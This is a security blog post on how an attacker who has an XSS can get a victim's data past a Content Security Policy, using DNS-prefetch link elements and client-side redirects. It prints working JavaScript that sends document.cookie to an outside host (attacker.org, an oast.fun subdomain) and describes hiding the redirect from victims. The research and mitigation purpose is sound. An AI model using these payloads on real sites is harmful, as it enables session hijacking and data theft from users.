bypassing csp for exfiltration
background
content security policy is a security mechanism which essentially defines from which origins resources can be loaded. consider the following policy:
img-src 'self' data: https://commons.wikimedia.org/
there we allow to load images from the following origins:
- the host itself
- inline data:
<img src="data:image/png;base64:… - Wikimedia Commons
if we try to load images from any other source, the browser forbids the request.
the csp obviously goes beyond just specifying the allowed origin of an image. it is used to minimize the possibilities of exploiting an xss vulnerability. it can be used to restrict out-of-bound communication and limit the possibilities of injecting arbitrary javascript code. i found that the latter is not widespread, because it is not always easy to implement.
exploiting xss
when an attacker finds a xss vulnerability on a website, they almost always want to use it to exfiltrate some data from the victim. the session cookie is obviously the holy grail, however it can also be a response from an authenticated request or the website’s contents.

restricting the out-of-bound communication using a csp makes a successful attack much more difficult. surely they can access the data within the xss, but without a way to get it, its not of much use.
exfiltration under csp - the hard way
a sufficiently restrictive content security policy forbids an attacker from sending out-of-bound HTTP requests. but what about other protocols?
in order to increase performance by reducing the load times of certain resources, there is an option in the <link> tag to force a dns prefetch. that way, the requested domain loads quicker because the dns was resolved asynchronously as soon as the <link> element was rendered.
we can use the following javascript to create such element:
document.head.appendChild(Object.assign(document.createElement("link"), {
rel: "dns-prefetch",
href: "//exfiltration-under-csp.oast.fun"
}))
upon running this code, a <link> element with the dns-prefetch attribute is added to the document and the dns request is sent.

we can use the href attribute for exfiltration by appending our data to the subdomain of our external server.
however we’re quite limited:
- the dns only accepts the following charset:
[a-z0-9\-]. - in the browser, we’re limited to 255-characters long domains.
- furthermore, the maximum length of a subdomain is 64, so we need to split our data
we can work around the restrictions by encoding our payload, for example in base36, which always returns a valid dns string. then, we can place a dot after every 63rd character. we end up with the following code:
document.cookie.split('').map(c => c.charCodeAt(0).toString(36)).join('').replace(/(.{63})/g, "$1.")
it is not the most efficient payload, but it works.
as you see, this method is not foolproof when we deal with long payloads to exfiltrate. is such cases, we might end up with domain strings which are too long for dns.

obviously, we can just steal the cookies which are relevant, but in practice we can’t do much more than that. no request response or html elements will fit into a dns prefetch.
yes, there is an option to issue multiple prefetch requests. but then we have to chunk our data and reassemble it from the dns traffic, which can be tricky. we don’t have to do all this, because there is simply a better way for exfiltration
exfiltration under csp - the better way
so if we are forbidden from sending any requests within the website, let’s exfiltrate the victim’s data without sending any requests from within the website.
this is actually easily done. we simply have to leave the site:
window.location = 'https://attacker.org'
content security policy does not restrict client-side redirects. this is great, because we can write the data we want to exfiltrate into the url of our server.
window.location = 'https://attacker.org/'+encodeURI(document.cookie)
the maximum possible length of the exfiltrated data depends on the configuration of our server. however it is at the very least in the order of several kilobytes. this is more than enough for most cases.

another advantage over the dns-based exfiltration is that we simply get more data. most importantly - the true ip address of our victim. moreover, we also get some http header which can help up fingerprint our victim.
covering our tracks
the downside of this approach is that we leave the site, which our victim might notice. we either have to spoof our landing site very well such that the victim does not notice that they are on a different site, or we redirect them back to the vulnerable site.

to solve this exact problem, i made redirector. it’s a simple http server which can redirect our victim back to the site such that the redirection becomes less noticeable. in cases of stored xss, the redirect would manifest itselt to the victim as a quick reload. with reflected xss its even better - the redirect would be practically invisible to the victim, since it blends into the loading process.
in the repository i provided a proof of concept which exploits a reflected xss vulnerability on the ginandjuice.shop. while this site does not enforce a csp, we can pretend it does.
what can be done?
the dns-based exfiltration can be mitigated by implementing the x-dns-prefetch-control header. as the name of the header explains, we can disable dns-prefetching with it.
redirect-based exfiltration is more tricky. interestingly, it used to be a part of the csp specification, but it was removed. no browser currently supports it. so it seams like there is really nothing that can be done about it.
conclusion
as we see, even the most restrictive content security policy in regard to out-of-band communication can not fully mitigate data exfiltration. while tricky, it can be done using dns-prefetching by embedding the sensitive data of our victim into a dns query. it is not foolproof, because there are ways to disable this feature in browsers, which makes this attack impossible
a better way is to use redirects. by writing the sensitive data into the url, not only can we exfiltrate more data but it gives us metadata about the victim, like their ip address. the attack itself is noticeable as the user might notice that the website changed, but we can simply redirect the user back to the website.